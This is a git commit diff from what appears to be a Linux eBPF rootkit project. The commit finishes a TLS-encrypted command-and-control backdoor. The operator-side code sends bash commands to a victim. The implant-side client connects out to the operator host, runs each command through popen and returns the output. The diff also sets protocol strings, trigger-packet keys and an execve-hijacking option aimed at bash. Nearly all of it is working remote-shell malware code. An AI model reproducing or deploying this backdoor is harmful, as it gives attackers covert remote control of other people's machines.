Finished encrypted interactive shell and encrypted protocol implementation, V2 rootkit now fully functional

This commit is contained in:
h3xduck
2022-05-07 17:55:27 -04:00
parent f6a4c1daa0
commit ce7d36371d
11 changed files with 1935 additions and 2702 deletions

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@@ -188,6 +188,7 @@ void activate_command_control_shell(char* argv){
free(local_ip); free(local_ip);
} }
//Rootkit backdoor V2
void activate_command_control_shell_encrypted(char* argv){ void activate_command_control_shell_encrypted(char* argv){
char* local_ip = getLocalIpAddress(); char* local_ip = getLocalIpAddress();
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv); printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);

Binary file not shown.

View File

@@ -0,0 +1,55 @@
#ifndef __CLIENT_COMMON_H
#define __CLIENT_COMMON_H
#include "openssl/err.h"
#include "openssl/ssl.h"
#include <arpa/inet.h>
#include <errno.h>
#include <malloc.h>
#include <netinet/in.h>
#include <resolv.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include "../../common/c&c.h"
#define KGRN "\x1B[32m"
#define KYLW "\x1B[33m"
#define KBLU "\x1B[34m"
#define KMGN "\x1B[35m"
#define KRED "\x1B[31m"
#define RESET "\x1B[0m"
#define CLIENT_MODE_LIVE_COMMAND 0
//Global variable, specifying current client mode
int client_mode = CLIENT_MODE_LIVE_COMMAND;
#define GC_SERVER_CLOSE_CONN "EXIT"
/**
* @brief Manages the result of a possible global command understood by the client overall
* (independent of the current mode) and returns 1 if it really was a global command
* or 0 if it was not.
*
* @param buf
* @return int
*/
int manage_global_command(char* buf, SSL* ssl){
if(strncmp(buf, GC_SERVER_CLOSE_CONN, strlen(GC_SERVER_CLOSE_CONN))==0){
if(ssl != NULL){
//If in a ssl connection
char* request = CC_PROT_FIN;
SSL_write(ssl, request, strlen(request));
//We must exit now
printf("[" KBLU "INFO" RESET "]""Connection with the backdoor halted\n");
exit(0);
}
}
//Not a recognized global command
return 0;
}
#endif

View File

@@ -13,290 +13,199 @@
#include <sys/types.h> #include <sys/types.h>
#include <unistd.h> #include <unistd.h>
#include "../../common/c&c.h"
#include "common.h"
#define FAIL -1 #define FAIL -1
#define USE_FUNCTIONS 0 /**
* @brief Operates input in command shell mode.
* Returns whether the connection should keep open (0) or not (otherwise)
*
* @param buf
* @param ssl
* @return int
*/
int live_command_shell_mode(char* buf, SSL *ssl){
int is_global_command = manage_global_command(buf, ssl);
if(is_global_command == 1){
//Already finished then, go to next command input
return 0;
}
#if (USE_FUNCTIONS) //Not a global command, proceeding to analyze in live command shell mode
SSL_CTX *InitServerCTX(void) { int bytes;
const SSL_METHOD *method; char* request = calloc(4096, sizeof(char));
SSL_CTX *ctx; strcpy(request, CC_PROT_BASH_COMMAND_REQUEST);
strcat(request, buf);
SSL_write(ssl, request, strlen(request));
bytes = SSL_read(ssl, buf, BUFSIZ);
buf[bytes] = '\0';
//If valid message in protocol, we proceed to parse it
if(strncmp(buf, CC_PROT_BASH_COMMAND_RESPONSE, strlen(CC_PROT_BASH_COMMAND_RESPONSE))==0){
if (bytes > 0) {
//printf("Reply with:\n[%s]\n", response);
char *p;
p = strtok(buf, "#");
p = strtok(NULL, "#");
if(p){
//Print response
printf("%s\n", p);
}else{
printf("[" KRED "ERROR" RESET "]""Could not parse backdoor answer correctly, ignoring\n");
}
} else {
ERR_print_errors_fp(stderr);
}
}else if(strncmp(buf, CC_PROT_ERR, strlen(CC_PROT_ERR))==0){
printf("[" KRED "ERROR" RESET "]""Backdoor did not understand the request: %s\n", request);
}else{
//If at this point, then we failed to identify the backdoor message
//We attempt to send a final message indicating we are halting the connection
printf("[" KRED "ERROR" RESET "]""Backdoor sent unrecognizable message:\n[%s]\n", buf);
printf("[" KBLU "INFO" RESET "]""Shutting down connection now\n");
const char *response = CC_PROT_FIN;
SSL_write(ssl, response, strlen(response));
return -1;
}
OpenSSL_add_all_algorithms(); /* load & register all cryptos, etc. */ //Connection should keep open
SSL_load_error_strings(); /* load all error messages */ return 0;
method = TLSv1_2_server_method(); /* create new server-method instance */
ctx = SSL_CTX_new(method); /* create new context from method */
if (ctx == NULL) {
ERR_print_errors_fp(stderr);
abort();
}
return ctx;
} }
void LoadCertificates(SSL_CTX *ctx, const char *CertFile, const char *KeyFile) {
/* set the local certificate from CertFile */
if (SSL_CTX_use_certificate_file(ctx, CertFile, SSL_FILETYPE_PEM) <= 0) {
ERR_print_errors_fp(stderr);
instructionsForPem();
abort();
}
/* set the private key from KeyFile (may be the same as CertFile) */
if (SSL_CTX_use_PrivateKey_file(ctx, KeyFile, SSL_FILETYPE_PEM) <= 0) {
ERR_print_errors_fp(stderr);
instructionsForPem();
abort();
}
/* verify private key */
if (!SSL_CTX_check_private_key(ctx)) {
fprintf(stderr, "Private key does not match the public certificate\n");
abort();
}
}
// Create the SSL socket and intialize the socket address structure
int OpenListener(int port) {
int sd;
struct sockaddr_in addr;
sd = socket(PF_INET, SOCK_STREAM, 0);
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = INADDR_ANY;
if (bind(sd, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
perror("can't bind port");
abort();
}
if (listen(sd, 10) != 0) {
perror("Can't configure listening port");
abort();
}
return sd;
}
void ShowCerts(SSL *ssl) //? RBW
{
X509 *cert;
char *line;
cert = SSL_get_peer_certificate(ssl); /* Get certificates (if available) */
if (cert != NULL) {
printf("Server certificates:\n");
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
printf("Subject: %s\n", line);
free(line);
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
printf("Issuer: %s\n", line);
free(line);
X509_free(cert);
} else {
printf("No certificates.\n");
}
}
/* Serve the connection -- threadable */
void Servlet(SSL *ssl) {
char buf[1024] = {0};
int sd, bytes;
// this is my attempt to run HTTPS.. This is sort of the minimal header that
// seems to work. \r is absolutely necessary.
const char *szHelloWorld =
"HTTP/1.1 200 OK\r\n"
"Content-type: text/html\r\n"
"\r\n"
"<html>\n"
"<body>\n"
"<h1>So, this works, if you added a security exception to your web "
"browser</h1>\n"
"<h2>Or.... are using a genuine certificate.</h2>\n"
"<h3>This is using functions BTW..</h3>\n"
"</body>\n"
"</html>\n";
if (SSL_accept(ssl) == FAIL) /* do SSL-protocol accept */
{
ERR_print_errors_fp(stderr);
} else {
ShowCerts(ssl); /* get any certificates */
bytes = SSL_read(ssl, buf, sizeof(buf)); /* get request */
buf[bytes] = '\0';
printf("Client msg:\n[%s]\n", buf);
if (bytes > 0) {
printf("Reply with:\n[%s]\n", szHelloWorld);
SSL_write(ssl, szHelloWorld, strlen(szHelloWorld));
} else {
ERR_print_errors_fp(stderr);
}
}
sd = SSL_get_fd(ssl); /* get socket connection */
SSL_free(ssl); /* release SSL state */
close(sd); /* close connection */
}
#endif
int server_run(int port) { int server_run(int port) {
SSL_CTX *ctx; SSL_CTX *ctx;
int server; int server;
const char *szPemPublic = "mycert.pem"; const char *szPemPublic = "mycert.pem";
const char *szPemPrivate = "mycert.pem"; const char *szPemPrivate = "mycert.pem";
#if (!(USE_FUNCTIONS)) const SSL_METHOD *method;
const SSL_METHOD *method;
#endif
if (port < 1024) { if (port < 1024) {
if (getuid() != 0) { if (getuid() != 0) {
printf("This program must be run as root/sudo user since your port # " printf("This program must be run as root/sudo user since your port # "
"(%d) is < 1024\n", "(%d) is < 1024\n",
port); port);
exit(1); exit(1);
} }
} }
SSL_library_init(); /* Initialize the SSL library */ SSL_library_init(); /* Initialize the SSL library */
#if (USE_FUNCTIONS) // InitServerCTX ();
ctx = InitServerCTX(); /* initialize SSL */ OpenSSL_add_all_algorithms(); /* load & register all cryptos, etc. */
#else SSL_load_error_strings(); /* load all error messages */
// InitServerCTX (); method = TLSv1_2_server_method(); /* create new server-method instance */
OpenSSL_add_all_algorithms(); /* load & register all cryptos, etc. */ ctx = SSL_CTX_new(method); /* create new context from method */
SSL_load_error_strings(); /* load all error messages */ if (ctx == NULL) {
method = TLSv1_2_server_method(); /* create new server-method instance */ ERR_print_errors_fp(stderr);
ctx = SSL_CTX_new(method); /* create new context from method */ abort();
if (ctx == NULL) { }
ERR_print_errors_fp(stderr);
abort();
}
#endif
#if (USE_FUNCTIONS) /* set the local certificate from CertFile */
LoadCertificates(ctx, szPemPublic, szPemPrivate); /* load certs */ if (SSL_CTX_use_certificate_file(ctx, szPemPublic, SSL_FILETYPE_PEM) <= 0) {
#else ERR_print_errors_fp(stderr);
/* set the local certificate from CertFile */ abort();
if (SSL_CTX_use_certificate_file(ctx, szPemPublic, SSL_FILETYPE_PEM) <= 0) { }
ERR_print_errors_fp(stderr);
abort();
}
/* set the private key from KeyFile (may be the same as CertFile) */ /* set the private key from KeyFile (may be the same as CertFile) */
if (SSL_CTX_use_PrivateKey_file(ctx, szPemPrivate, SSL_FILETYPE_PEM) <= 0) { if (SSL_CTX_use_PrivateKey_file(ctx, szPemPrivate, SSL_FILETYPE_PEM) <= 0) {
ERR_print_errors_fp(stderr); ERR_print_errors_fp(stderr);
abort(); abort();
} }
/* verify private key */ /* verify private key */
if (!SSL_CTX_check_private_key(ctx)) { if (!SSL_CTX_check_private_key(ctx)) {
fprintf(stderr, "Private key does not match the public certificate\n"); fprintf(stderr, "Private key does not match the public certificate\n");
abort(); abort();
} }
#endif
#if (USE_FUNCTIONS) struct sockaddr_in addr;
server = OpenListener(portnum); /* create server socket */
#else
struct sockaddr_in addr;
server = socket(PF_INET, SOCK_STREAM, 0); server = socket(PF_INET, SOCK_STREAM, 0);
bzero(&addr, sizeof(addr)); bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET; addr.sin_family = AF_INET;
addr.sin_port = htons(port); addr.sin_port = htons(port);
addr.sin_addr.s_addr = INADDR_ANY; addr.sin_addr.s_addr = INADDR_ANY;
if (bind(server, (struct sockaddr *)&addr, sizeof(addr)) != 0) { if (bind(server, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
perror("can't bind port"); perror("can't bind port");
abort(); abort();
} }
if (listen(server, 10) != 0) { if (listen(server, 10) != 0) {
perror("Can't configure listening port"); perror("Can't configure listening port");
abort(); abort();
} }
#endif
for (;;) { for (;;) {
struct sockaddr_in addr; struct sockaddr_in addr;
socklen_t len = sizeof(addr); socklen_t len = sizeof(addr);
SSL *ssl; SSL *ssl;
#if (!(USE_FUNCTIONS)) char buf[1024] = {0};
char buf[1024] = {0}; int sd;
int sd, bytes;
// this is my attempt to run HTTPS.. This is sort of the minimal header that int client;
// seems to work. \r is absolutely necessary. printf("[" KBLU "INFO" RESET "]""Listening for connections\n");
const char *response = client = accept(server, (struct sockaddr *)&addr,
"HTTP/1.1 200 OK\r\n" &len); /* accept connection as usual */
"Content-type: text/html\r\n" printf("[" KGRN "SUCCESS" RESET "]""Connection established: %s:%d\n", inet_ntoa(addr.sin_addr),
"\r\n" ntohs(addr.sin_port));
"<html>\n" ssl = SSL_new(ctx); /* get new SSL state with context */
"<body>\n" SSL_set_fd(ssl, client); /* set connection socket to SSL state */
"<h1>So, this works, if you added a security exception to your web "
"browser</h1>\n"
"<h2>Or.... are using a genuine certificate.</h2>\n"
"<h3>This is <u><i>NOT</i></u> using functions BTW..</h3>\n"
"</body>\n"
"</html>\n";
#endif
int client;
printf("Listening for connections\n");
client = accept(server, (struct sockaddr *)&addr,
&len); /* accept connection as usual */
printf("Connection: %s:%d\n", inet_ntoa(addr.sin_addr),
ntohs(addr.sin_port));
ssl = SSL_new(ctx); /* get new SSL state with context */
SSL_set_fd(ssl, client); /* set connection socket to SSL state */
#if (USE_FUNCTIONS)
Servlet(ssl); /* service connection */
#else
if (SSL_accept(ssl) == FAIL) /* do SSL-protocol accept */
{
ERR_print_errors_fp(stderr);
} else {
X509 *cert;
char *line;
cert = if (SSL_accept(ssl) == FAIL){ /* do SSL-protocol accept */
SSL_get_peer_certificate(ssl); /* Get certificates (if available) */ ERR_print_errors_fp(stderr);
if (cert != NULL) { } else {
printf("Server certificates:\n"); X509 *cert;
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0); char *line;
printf("Subject: %s\n", line);
free(line);
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
printf("Issuer: %s\n", line);
free(line);
X509_free(cert);
} else {
printf("No certificates.\n");
}
// ShowCerts (ssl); /* get any certificates */ cert = SSL_get_peer_certificate(ssl); /* Get certificates (if available) */
bytes = SSL_read(ssl, buf, sizeof(buf)); /* get request */ if (cert != NULL) {
buf[bytes] = '\0'; printf("[" KBLU "INFO" RESET "]""Server certificates:\n");
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
printf("[" KBLU "INFO" RESET "]"
"Subject: %s\n",
line);
free(line);
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
printf("[" KBLU "INFO" RESET "]""Issuer: %s\n",line);
free(line);
X509_free(cert);
} else {
printf("[" KYLW "WARN" RESET "]""Client has no certificate.\n");
}
printf("Client msg:\n[%s]\n", buf); int connection_terminate = 0;
printf("[" KBLU "INFO" RESET "]""Live command shell mode active by default\n");
while(connection_terminate==0){
char buf[BUFSIZ];
//Depending on the mode, we show different UI and commands
switch(client_mode){
case CLIENT_MODE_LIVE_COMMAND:
printf(">> client["""KYLW"command live"RESET"""]>: ");
fgets(buf, BUFSIZ, stdin);
if ((strlen(buf)>0) && (buf[strlen(buf)-1] == '\n')){
buf[strlen(buf)-1] = '\0';
}
connection_terminate = live_command_shell_mode(buf, ssl);
break;
default:
printf("Invalid client mode, fatal error, halting\n");
exit(FAIL);
}
}
}
sd = SSL_get_fd(ssl); /* get socket connection */
SSL_free(ssl); /* release SSL state */
close(sd); /* close connection */
}
close(server); /* close server socket */
if (bytes > 0) { ERR_free_strings(); /* free memory from SSL_load_error_strings */
printf("Reply with:\n[%s]\n", response); EVP_cleanup(); /* free memory from OpenSSL_add_all_algorithms */
SSL_write(ssl, response, strlen(response)); SSL_CTX_free(ctx); /* release context */
} else {
ERR_print_errors_fp(stderr);
}
}
sd = SSL_get_fd(ssl); /* get socket connection */
SSL_free(ssl); /* release SSL state */
close(sd); /* close connection */
#endif
// break;
}
close(server); /* close server socket */
ERR_free_strings(); /* free memory from SSL_load_error_strings */ return 0;
EVP_cleanup(); /* free memory from OpenSSL_add_all_algorithms */
SSL_CTX_free(ctx); /* release context */
return 0;
} }

Binary file not shown.

View File

@@ -1,14 +1,18 @@
#ifndef __BPF_CC_H #ifndef __BPF_CC_H
#define __BPF_CC_H #define __BPF_CC_H
//C&C V0 //C&C V0 & V1 --> Unencrypted transmission with RAW sockets, no TCP conn
//Protocol messages are also used in the secure channel of V2 & V3 backdoor
#define CC_PROT_SYN "CC_SYN" #define CC_PROT_SYN "CC_SYN"
#define CC_PROT_ACK "CC_ACK" #define CC_PROT_ACK "CC_ACK"
#define CC_PROT_MSG "CC_MSG#" #define CC_PROT_MSG "CC_MSG#"
#define CC_PROT_FIN_PART "CC_FIN" #define CC_PROT_FIN_PART "CC_FIN"
#define CC_PROT_ERR "CC_ERR"
#define CC_PROT_FIN CC_PROT_MSG CC_PROT_FIN_PART #define CC_PROT_FIN CC_PROT_MSG CC_PROT_FIN_PART
#define CC_PROT_BASH_COMMAND_REQUEST "CC_COMM_RQ#"
#define CC_PROT_BASH_COMMAND_RESPONSE "CC_COMM_RS#"
//C&C V1 -- bpv47-like trigger + encrypted shell //C&C V1 & V2 --> bpv47-like trigger + encrypted shell in V2
#define CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE 0x10 #define CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE 0x10
#define CC_TRIGGER_SYN_PACKET_KEY_1 "\x56\xA4" #define CC_TRIGGER_SYN_PACKET_KEY_1 "\x56\xA4"
#define CC_TRIGGER_SYN_PACKET_KEY_2 "\x78\x13" #define CC_TRIGGER_SYN_PACKET_KEY_2 "\x78\x13"
@@ -17,7 +21,7 @@
#define CC_PROT_COMMAND_ENCRYPTED_SHELL 0 #define CC_PROT_COMMAND_ENCRYPTED_SHELL 0
//C&C V2 -- Distributed hidden payload in packet stream //C&C V3 -- Distributed hidden payload in packet stream
struct trigger_t { struct trigger_t {
unsigned char xor_key; unsigned char xor_key;
unsigned int ip; unsigned int ip;

View File

@@ -20,7 +20,7 @@
//EXECUTION HIJACKING //EXECUTION HIJACKING
#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0" #define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"
#define EXEC_HIJACK_ACTIVE_TEMP 1 #define EXEC_HIJACK_ACTIVE_TEMP 0
#define TASK_COMM_NAME_RESTRICT_HIJACK "bash" #define TASK_COMM_NAME_RESTRICT_HIJACK "bash"
#define TASK_COMM_RESTRICT_HIJACK_ACTIVE 1 #define TASK_COMM_RESTRICT_HIJACK_ACTIVE 1

View File

@@ -17,174 +17,168 @@
abort(); \ abort(); \
} while (0) } while (0)
#define USE_FUNCTIONS 0 /**
* @brief Executes a command in a pseudo terminal and returns stdout result
*
* @param command
* @return char*
*/
char *execute_command(char *command) {
FILE *fp;
char *res = calloc(4096, sizeof(char));
char buf[1024];
#if (USE_FUNCTIONS) fp = popen(command, "r");
int OpenConnection(const char *hostname, uint16_t port) { if (fp == NULL) {
int sd; perror("Failed to run command");
struct hostent *host; return NULL;
struct sockaddr_in addr; }
if ((host = gethostbyname(hostname)) == NULL) { while (fgets(buf, sizeof(buf), fp) != NULL) {
perror(hostname); strcat(res, buf);
LOCAL_ABORT(); }
} // printf("RESULT OF COMMAND: %s\n", res);
sd = socket(PF_INET, SOCK_STREAM, 0);
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = *(long *)(host->h_addr);
if (connect(sd, (struct sockaddr *)&addr, sizeof(addr)) != 0) { pclose(fp);
close(sd); return res;
perror(hostname); }
fprintf(stderr, "Is the server running, and on the correct port (%d)?\n",
port); int client_run(char *hostname, uint16_t portnum) {
LOCAL_ABORT(); SSL_CTX *ctx;
} int server;
return sd; SSL *ssl;
} static char buf[1024 * 1024];
int bytes;
SSL_CTX *InitCTX(void) {
const SSL_METHOD *method; struct hostent *host;
SSL_CTX *ctx; struct sockaddr_in addr;
const SSL_METHOD *method;
OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */
SSL_load_error_strings(); /* Bring in and register error messages */ // Initialize the SSL library
method = TLSv1_2_client_method(); /* Create new client-method instance */ SSL_library_init();
ctx = SSL_CTX_new(method); /* Create new context */
if (ctx == NULL) { OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */
ERR_print_errors_fp(stderr); SSL_load_error_strings(); /* Bring in and register error messages */
LOCAL_ABORT(); method = TLSv1_2_client_method(); /* Create new client-method instance */
} ctx = SSL_CTX_new(method); /* Create new context */
return ctx; if (ctx == NULL) {
} ERR_print_errors_fp(stderr);
LOCAL_ABORT();
void ShowCerts(SSL *ssl) { }
X509 *cert;
char *line; if ((host = gethostbyname(hostname)) == NULL) {
cert = SSL_get_peer_certificate(ssl); /* get the server's certificate */ perror(hostname);
if (cert != NULL) { LOCAL_ABORT();
printf("Server certificates:\n"); }
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0); server = socket(PF_INET, SOCK_STREAM, 0);
printf("Subject: %s\n", line); bzero(&addr, sizeof(addr));
free(line); /* free the malloc'ed string */ addr.sin_family = AF_INET;
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0); addr.sin_port = htons(portnum);
printf("Issuer: %s\n\n", line); addr.sin_addr.s_addr = *(long *)(host->h_addr);
free(line); /* free the malloc'ed string */
X509_free(cert); /* free the malloc'ed certificate copy */ int conn_tries = 3;
} else { while (conn_tries >= 0) {
printf("Info: No client certificates configured.\n"); if (connect(server, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
} if (conn_tries > 1) {
} conn_tries--;
#endif printf("Failed to connect, trying again. Remaining tries: %i\n",
conn_tries);
int client_run(char* hostname, uint16_t portnum) { sleep(1);
SSL_CTX *ctx; continue;
int server; }
SSL *ssl; close(server);
static char buf[1024 * 1024]; perror(hostname);
int bytes; fprintf(stderr, "Is the server running, and on the correct port (%d)?\n",
#if (!(USE_FUNCTIONS)) portnum);
struct hostent *host; LOCAL_ABORT();
struct sockaddr_in addr; } else {
const SSL_METHOD *method; // Connected
#endif conn_tries = -1;
}
// Initialize the SSL library }
SSL_library_init();
ssl = SSL_new(ctx); /* create new SSL connection state */
#if (USE_FUNCTIONS) SSL_set_fd(ssl, server); /* attach the socket descriptor */
ctx = InitCTX(); conn_tries = 3;
server = OpenConnection(hostname, portnum); int connection_terminate = 0;
#else while (conn_tries > 0 && connection_terminate == 0) {
OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */ if (SSL_connect(ssl) <= 0) {
SSL_load_error_strings(); /* Bring in and register error messages */ // Connection failed
method = TLSv1_2_client_method(); /* Create new client-method instance */ conn_tries--;
ctx = SSL_CTX_new(method); /* Create new context */ printf("Failed to establish SSL connection, trying again. Remaining "
if (ctx == NULL) { "tries: %i\n",
ERR_print_errors_fp(stderr); conn_tries);
LOCAL_ABORT(); ERR_print_errors_fp(stderr);
} sleep(1);
} else {
if ((host = gethostbyname(hostname)) == NULL) { // Connection success
perror(hostname); X509 *cert;
LOCAL_ABORT(); char *line;
} conn_tries = 0;
server = socket(PF_INET, SOCK_STREAM, 0); printf("\nConnected with %s encryption\n", SSL_get_cipher(ssl));
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET; cert = SSL_get_peer_certificate(ssl); /* get the server's certificate */
addr.sin_port = htons(portnum); if (cert != NULL) {
addr.sin_addr.s_addr = *(long *)(host->h_addr); printf("Server certificates:\n");
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
if (connect(server, (struct sockaddr *)&addr, sizeof(addr)) != 0) { printf("Subject: %s\n", line);
close(server); free(line);
perror(hostname); line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
fprintf(stderr, "Is the server running, and on the correct port (%d)?\n", printf("Issuer: %s\n\n", line);
portnum); free(line);
LOCAL_ABORT(); X509_free(cert);
} } else {
#endif printf("Info: No client certificates configured.\n");
}
ssl = SSL_new(ctx); /* create new SSL connection state */
SSL_set_fd(ssl, server); /* attach the socket descriptor */ while(connection_terminate == 0){
if (SSL_connect(ssl) <= 0) /* perform the connection */
{ bytes = SSL_read(ssl, buf, sizeof(buf)); // Get request
ERR_print_errors_fp(stderr); buf[bytes] = '\0';
} else {
#if (!(USE_FUNCTIONS)) printf("Raw server msg:\n[%s]\n", buf);
X509 *cert;
char *line; // If valid message in protocol, we proceed to parse it
#endif if (strncmp(buf, CC_PROT_BASH_COMMAND_REQUEST, strlen(CC_PROT_BASH_COMMAND_REQUEST)) == 0) {
char request[4096]; if (bytes > 0) {
sprintf(request, // printf("Reply with:\n[%s]\n", response);
"GET / HTTP/1.1\r\n" char *p;
"User-Agent: Wget/1.17.1 (linux-gnu)\r\n" p = strtok(buf, "#");
"Accept: */*\r\n" p = strtok(NULL, "#");
"Accept-Encoding: identity\r\n" if (p) {
"Host: %s:%d\r\n" char *res = execute_command(p);
// "Connection: Keep-Alive\n" char *response = calloc(4096, sizeof(char));
"\r\n", if(res==NULL){
hostname, portnum); strcpy(response, CC_PROT_ERR);
}else{
printf("Sending:\n[%s]\n", request); strcpy(response, CC_PROT_BASH_COMMAND_RESPONSE);
strcat(response, res);
printf("\n\nConnected with %s encryption\n", SSL_get_cipher(ssl)); }
printf("Answering: \n%s\n", response);
#if (USE_FUNCTIONS) SSL_write(ssl, response, strlen(response));
ShowCerts(ssl); /* get any certs */ free(response);
#else } else {
cert = SSL_get_peer_certificate(ssl); /* get the server's certificate */ printf("Could not parse message correctly, ignoring\n");
if (cert != NULL) { }
printf("Server certificates:\n"); } else {
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0); ERR_print_errors_fp(stderr);
printf("Subject: %s\n", line); }
free(line); /* free the malloc'ed string */ }else if (strncmp(buf, CC_PROT_FIN, strlen(CC_PROT_FIN)) == 0) {
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0); printf("Server requested to stop the connection\n");
printf("Issuer: %s\n\n", line); connection_terminate = 1;
free(line); /* free the malloc'ed string */ }else {
X509_free(cert); /* free the malloc'ed certificate copy */ //If at this point, then we failed to identify the server message
} else { printf("Message not recognizable: %s\n", buf);
printf("Info: No client certificates configured.\n"); char *response = CC_PROT_ERR;
} SSL_write(ssl, response, strlen(response));
#endif }
}
SSL_write(ssl, request, strlen(request)); /* encrypt & send message */
}
bytes = SSL_read(ssl, buf, sizeof(buf)); /* get reply & decrypt */ }
buf[bytes] = 0; printf("SSL client closed\n");
printf("Received (%d bytes):\n[%s]\n", bytes, buf); close(server); /* close socket */
SSL_CTX_free(ctx); /* release context */
// second send.. - for my real web page, it comes in two parts.
// bytes = SSL_read (ssl, buf, sizeof (buf)); /* get reply & decrypt */ return 0;
// buf[bytes] = 0;
// printf ("Received (%d bytes):\n[%s]\n", bytes, buf);
SSL_free(ssl); /* release connection state */
}
close(server); /* close socket */
SSL_CTX_free(ctx); /* release context */
return 0;
} }